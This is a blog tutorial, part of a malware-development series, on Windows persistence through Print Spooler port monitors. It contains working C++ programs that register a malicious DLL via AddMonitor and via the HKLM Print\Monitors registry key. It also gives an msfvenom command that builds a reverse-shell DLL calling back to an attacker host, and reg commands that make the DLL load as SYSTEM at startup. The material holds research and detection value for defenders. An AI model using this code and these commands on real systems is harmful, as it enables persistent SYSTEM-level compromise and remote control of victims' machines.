Malware development: persistence - part 8. Port monitors. Simple C++ example.
﷽
Hello, cybersecurity enthusiasts and white hackers!

This article is the result of my own research into the next interesting malware persistence trick: Port monitors.
port monitors
Port Monitor refers to the Windows Print Spooler Service or spoolv.exe in this post. When adding a printer port monitor, a user (or an attacker) is able to add an arbitrary dll that serves as the “monitor”.
There are essentially two ways to add a port monitor, also known as your malicious DLL: through the Registry for persistence or a custom Windows application (AddMonitor function) for immediate dll execution.
adding monitor
Using the Win32 API, specifically the AddMonitor function of the Print Spooler API:
BOOL AddMonitor(
  LPTSTR pName,
  DWORD  Level,
  LPBYTE pMonitors
);
it is possible to add an arbitrary monitor DLL immediately while the system is running. Note that you will need local administrator privileges to add the monitor.
For example, source code of our monitor:
/*
monitor.cpp
windows persistence via port monitors
register the monitor port
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/19/malware-pers-8.html
*/
#include "windows.h"
#pragma comment(lib, "winspool")
int main(int argc, char* argv[]) {
  MONITOR_INFO_2 mi;
  mi.pName = "Monitor";
  mi.pEnvironment = "Windows x64";
  // mi.pDLLName = "evil.dll";
  mi.pDLLName = "evil2.dll";
  AddMonitor(NULL, 2, (LPBYTE)&mi);
  return 0;
}
Compile it:
x86_64-w64-mingw32-g++ -O2 monitor.cpp -o monitor.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinspool

Also, create our “evil” DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f dll > evil2.dll

So, compiling the code will produce an executable (monitor.exe in my case) that will register the malicious DLL (evil2.dll) on the system.
demo for add “monitor”
Copy files and run:
copy Z:\2022-06-19-malware-pers-8\evil2.dll .\
copy Z:\2022-06-19-malware-pers-8\monitor.exe .\
.\monitor.exe

registry persistence
A list of sub-key port monitors can be found within the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors node. Each key should have a REG_SZ entry containing a Drivers DLL. At system startup, each of these DLLs will be executed as SYSTEM.
First of all, before malicious actions, check sub keys:
reg query "HKLM\System\CurrentControlSet\Control\Print\Monitors" /s

Then, add sub key Meow and Driver value:
reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Meow" /v "Driver" /d "evil2.dll" /t REG_SZ
reg query "HKLM\System\CurrentControlSet\Control\Print\Monitors" /s

As you can see, everything is completed correctly. Then restart victim’s machine:


And after a few minutes:


Let’s go to check Network tab in Process Hacker 2:

We can see that the evil2.dll is being accessed by the spoolsv.exe (PID: 4616), which eventually spawns a rundll32 with our payload, that initiates a connection back to the attacker:

For cleanup, after end of experiments, run:
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Print\Monitors\Meow" -Name "Driver"

My “dirty PoC” for registry persistence:
/*
pers.cpp
windows persistence via port monitors
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/06/19/malware-pers-8.html
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
  HKEY hkey = NULL;
  // subkey
  const char* sk = "\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Meow";
  // evil DLL
  const char* evilDll = "evil.dll";
  // startup
  LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
  if (res == ERROR_SUCCESS) {
    // create new registry key
    RegSetValueEx(hkey, (LPCSTR)"Driver", 0, REG_SZ, (unsigned char*)evilDll, strlen(evilDll));
    RegCloseKey(hkey);
  } else {
    printf("failed to create new registry subkey :(");
    return -1;
  }
    return 0;
}
During Defcon 22, Brady Bloxham demonstrated this persistence technique. This method requires Administrator privileges and the DLL must be saved to disk. 
The question remains whether any APTs uses this technique in the wild.
Windows Print Spooler Service  
Defcon-22: Brady Bloxham - Getting Windows to Play with itself  
MITRE ATT&CK - Port Monitors persistence technique  
source code on Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye! 
PS. All drawings and screenshots are mine